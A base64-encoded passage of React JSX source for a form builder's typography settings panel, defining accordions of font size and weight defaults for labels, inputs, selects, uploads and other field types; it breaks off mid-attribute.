XG5cdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRDdXN0b209XCJpbmhlcml0XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFdlaWdodD1cIjUwMFwiXG5cdFx0XHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXHRcdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0XHRcdHsgKCBpc1ByZXNldCB8fCBoYXNQYWdpbmF0aW9uICYmIGhhc1BhZ2luYXRpb25IZWFkZXIgPT09ICdzaG93JyAmJiBwYWdpbmF0aW9uSGVhZGVyID09PSAnYmFyJyApICYmXG5cdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnUGFnaW5hdGlvbiBQcm9ncmVzcyBCYXInICkgfVxuXHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdDxGb250U2V0dGluZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0cHJlZml4PVwiY2Zvcm0tcHJvZ3Jlc3NcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0U2l6ZT1cIjEyXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEZvbnQ9XCJjdXN0b21cIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Q3VzdG9tPVwiaW5oZXJpdFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRXZWlnaHQ9XCI1MDBcIlxuXHRcdFx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblx0XHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRmllbGRzIExhYmVsJyApIH1cblx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdDxGb250U2V0dGluZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRwcmVmaXg9XCJjZm9ybS1sYWJlbFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0U2l6ZT1cIjEzXCJcblx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRGb250PVwiY3VzdG9tXCJcblx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRDdXN0b209XCJpbmhlcml0XCJcblx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRXZWlnaHQ9XCI3MDBcIlxuXHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRmllbGRzIERlc2NyaXB0aW9uJyApIH1cblx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdDxGb250U2V0dGluZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRwcmVmaXg9XCJjZm9ybS1kZXNjcmlwdGlvblwiXG5cdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0U2l6ZT1cIjEyXCJcblx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRGb250PVwiY3VzdG9tXCJcblx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRDdXN0b209XCJpbmhlcml0XCJcblx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRXZWlnaHQ9XCI0MDBcIlxuXHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRmllbGRzIEVycm9yIE1lc3NhZ2UnICkgfVxuXHRcdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdFx0PEZvbnRTZXR0aW5nc1xuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdHByZWZpeD1cImNmb3JtLXZhbGlkYXRpb25cIlxuXHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFNpemU9XCIxMlwiXG5cdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Rm9udD1cImN1c3RvbVwiXG5cdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Q3VzdG9tPVwiaW5oZXJpdFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0V2VpZ2h0PVwiNTAwXCJcblx0XHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblxuXHRcdFx0XHRcdFx0XHR7IGhhc1NlY3Rpb24gJiZcblx0XHRcdFx0XHRcdFx0XHQ8UmVhY3QuRnJhZ21lbnQ+XG5cblx0XHRcdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdTZWN0aW9uIFRpdGxlJyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PEZvbnRTZXR0aW5nc1xuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0cHJlZml4PVwiY2Zvcm0tdGl0bGVcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRTaXplPVwiNDVcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRGb250PVwiY3VzdG9tXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Q3VzdG9tPVwiaW5oZXJpdFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFdlaWdodD1cIjQwMFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblxuXHRcdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1NlY3Rpb24gU3VidGl0bGUnICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8Rm9udFNldHRpbmdzXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRwcmVmaXg9XCJjZm9ybS1zdWJ0aXRsZVwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFNpemU9XCIxOFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEZvbnQ9XCJjdXN0b21cIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRDdXN0b209XCJpbmhlcml0XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0V2VpZ2h0PVwiNDAwXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnSW5wdXQgYW5kIFRleHRhcmVhJyApIH1cblx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdDxGb250U2V0dGluZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRwcmVmaXg9XCJjZm9ybS1pbnB1dFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0U2l6ZT1cIjE2XCJcblx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRGb250PVwiUm9ib3RvXCJcblx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRXZWlnaHQ9XCI0MDBcIlxuXHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdHsgKCBoYXNDYWxjdWxhdGlvbiApICYmXG5cdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnSW5wdXQgUHJlZml4JyApIH1cblx0XHRcdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8Rm9udFNldHRpbmdzXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdHByZWZpeD1cImNmb3JtLWlucHV0LXByZWZpeFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRTaXplPVwiMTZcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Rm9udD1cImN1c3RvbVwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRDdXN0b209XCJpbmhlcml0XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFdlaWdodD1cIjUwMFwiXG5cdFx0XHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXHRcdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0XHRcdHsgKCBoYXNDdXJyZW5jeSB8fFxuXHRcdFx0XHRcdFx0XHRcdGhhc0NhbGN1bGF0aW9uXG5cdFx0XHRcdFx0XHRcdCkgJiZcblx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdJbnB1dCBTdWZmaXgnICkgfVxuXHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdDxGb250U2V0dGluZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0cHJlZml4PVwiY2Zvcm0taW5wdXQtc3VmZml4XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFNpemU9XCIxNlwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRGb250PVwiY3VzdG9tXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEN1c3RvbT1cImluaGVyaXRcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0V2VpZ2h0PVwiNTAwXCJcblx0XHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cdFx0XHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdFx0XHR7IChcblx0XHRcdFx0XHRcdFx0XHRoYXNNdWx0aUNoZWNrYm94IHx8XG5cdFx0XHRcdFx0XHRcdFx0aGFzU2luZ2xlUmFkaW8gfHxcblx0XHRcdFx0XHRcdFx0XHRoYXNHRFBSXG5cdFx0XHRcdFx0XHRcdCkgJiZcblx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdSYWRpbyBhbmQgQ2hlY2tib3gnICkgfVxuXHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdDxGb250U2V0dGluZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0cHJlZml4PVwiY2Zvcm0tcmFkaW9cIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0U2l6ZT1cIjE0XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEZvbnQ9XCJjdXN0b21cIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Q3VzdG9tPVwiaW5oZXJpdFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRXZWlnaHQ9XCI0MDBcIlxuXHRcdFx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblx0XHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRcdHsgKFxuXHRcdFx0XHRcdFx0XHRcdGhhc1NpbmdsZURyb3Bkb3duIHx8XG5cdFx0XHRcdFx0XHRcdFx0aGFzRGF0ZURyb3Bkb3duIHx8XG5cdFx0XHRcdFx0XHRcdFx0aGFzVGltZURyb3Bkb3duIHx8XG5cdFx0XHRcdFx0XHRcdFx0aGFzQWRkcmVzQ291bnRyeSB8fFxuXHRcdFx0XHRcdFx0XHRcdGhhc05hbWVQcmVmaXhcblx0XHRcdFx0XHRcdFx0KSAmJlxuXHRcdFx0XHRcdFx0XHRcdDxSZWFjdC5GcmFnbWVudD5cblxuXHRcdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1NlbGVjdCcgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdFx0XHRcdDxGb250U2V0dGluZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHByZWZpeD1cImNmb3JtLXNlbGVjdFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFNpemU9XCIxNlwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEZvbnQ9XCJjdXN0b21cIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRDdXN0b209XCJpbmhlcml0XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0V2VpZ2h0PVwiNDAwXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRHJvcGRvd24nICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8Rm9udFNldHRpbmdzXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRwcmVmaXg9XCJjZm9ybS1kcm9wZG93blwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFNpemU9XCIxNlwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEZvbnQ9XCJjdXN0b21cIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRDdXN0b209XCJpbmhlcml0XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0V2VpZ2h0PVwiNDAwXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRcdHsgaGFzRGF0ZVBpY2tlciAmJlxuXHRcdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0NhbGVuZGFyJyApIH1cblx0XHRcdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8Rm9udFNldHRpbmdzXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdHByZWZpeD1cImNmb3JtLWNhbGVuZGFyXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEZvbnQ9XCJjdXN0b21cIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Q3VzdG9tPVwiaW5oZXJpdFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdGZhbWlseU9ubHlcblx0XHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cdFx0XHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdFx0XHR7IGhhc011bHRpU2VsZWN0ICYmXG5cdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnTXVsdGkgU2VsZWN0JyApIH1cblx0XHRcdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8Rm9udFNldHRpbmdzXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdHByZWZpeD1cImNmb3JtLW11bHRpc2VsZWN0XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFNpemU9XCIxNlwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRGb250PVwiY3VzdG9tXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEN1c3RvbT1cImluaGVyaXRcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0V2VpZ2h0PVwiNDAwXCJcblx0XHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cdFx0XHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdFx0XHR7IGhhc1NpbmdsZVVwbG9hZCAmJlxuXHRcdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1NpbmdsZSBGaWxlIFVwbG9hZCcgKSB9XG5cdFx0XHRcdFx0XHRcdFx0PlxuXG5cdFx0XHRcdFx0XHRcdFx0XHQ8VGFic1xuXHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHR0eXBlPVwidGFic1wiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHQ9XCJ1cGxvYWQtc2luZ2xlLWJ1dHRvblwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdGV4dHJhQ2xhc3M9XCJzdWktdGFicy1mbHVzaGVkXCJcblx0XHRcdFx0XHRcdFx0XHRcdD5cblxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8Rm9udFNldHRpbmdzXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHR2YWx1ZT1cInVwbG9hZC1zaW5nbGUtYnV0dG9uXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1VwbG9hZCBCdXR0b24nICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHByZWZpeD1cInVwbG9hZC1zaW5nbGUtYnV0dG9uXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0U2l6ZT1cIjE0XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Rm9udD1cImN1c3RvbVwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEN1c3RvbT1cImluaGVyaXRcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRXZWlnaHQ9XCI3MDBcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQvPlxuXG5cdFx0XHRcdFx0XHRcdFx0XHRcdDxGb250U2V0dGluZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHZhbHVlPVwidXBsb2FkLXNpbmdsZS10ZXh0XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ZpbGUgTmFtZScgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0cHJlZml4PVwidXBsb2FkLXNpbmdsZS10ZXh0XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0U2l6ZT1cIjEyXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Rm9udD1cImN1c3RvbVwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEN1c3RvbT1cImluaGVyaXRcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRXZWlnaHQ9XCI3MDBcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQvPlxuXG5cdFx0XHRcdFx0XHRcdFx0XHQ8L1RhYnM+XG5cblx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblx0XHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRcdHsgaGFzTXVsdGlVcGxvYWQgJiZcblx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdNdWx0aXBsZSBGaWxlcyBVcGxvYWQnICkgfVxuXHRcdFx0XHRcdFx0XHRcdD5cblxuXHRcdFx0XHRcdFx0XHRcdFx0PFRhYnNcblx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0dHlwZT1cInRhYnNcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0PVwidXBsb2FkLW11bHRpcGxlLXBhbmVsXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0ZXh0cmFDbGFzcz1cInN1aS10YWJzLWZsdXNoZWRcIlxuXHRcdFx0XHRcdFx0XHRcdFx0PlxuXG5cdFx0XHRcdFx0XHRcdFx0XHRcdDxGb250U2V0dGluZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHZhbHVlPVwidXBsb2FkLW11bHRpcGxlLXBhbmVsXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1VwbG9hZCBQYW5lbCcgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0cHJlZml4PVwidXBsb2FkLW11bHRpcGxlLXBhbmVsXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0U2l6ZT1cIjEzXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Rm9udD1cImN1c3RvbVwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEN1c3RvbT1cImluaGVyaXRcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRXZWlnaHQ9XCI0MDBcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQvPlxuXG5cdFx0XHRcdFx0XHRcdFx0XHRcdDxGb250U2V0dGluZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHZhbHVlPVwidXBsb2FkLW11bHRpcGxlLWZpbGUtbmFtZVwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdGaWxlIE5hbWUnICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHByZWZpeD1cInVwbG9hZC1tdWx0aXBsZS1maWxlLW5hbWVcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRTaXplPVwiMTNcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRGb250PVwiY3VzdG9tXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Q3VzdG9tPVwiaW5oZXJpdFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFdlaWdodD1cIjUwMFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdC8+XG5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PEZvbnRTZXR0aW5nc1xuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0dmFsdWU9XCJ1cGxvYWQtbXVsdGlwbGUtZmlsZS1zaXplXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ZpbGUgU2l6ZScgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0cHJlZml4PVwidXBsb2FkLW11bHRpcGxlLWZpbGUtc2l6ZVwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFNpemU9XCIxMlwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdEZvbnQ9XCJjdXN0b21cIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRDdXN0b209XCJpbmhlcml0XCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0V2VpZ2h0PVwiNTAwXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHRcdFx0XHRcdFx0PC9UYWJzPlxuXG5cdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cdFx0XHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdFx0XHR7IGhhc0VTaWduICYmXG5cdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRS1TaWduYXR1cmUgUGxhY2Vob2xkZXInICkgfVxuXHRcdFx0XHRcdFx0XHRcdD5cblxuXHRcdFx0XHRcdFx0XHRcdFx0PEZvbnRTZXR0aW5nc1xuXHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRwcmVmaXg9XCJjZm9ybS1lc2lnbi1wbGFjZWhvbGRl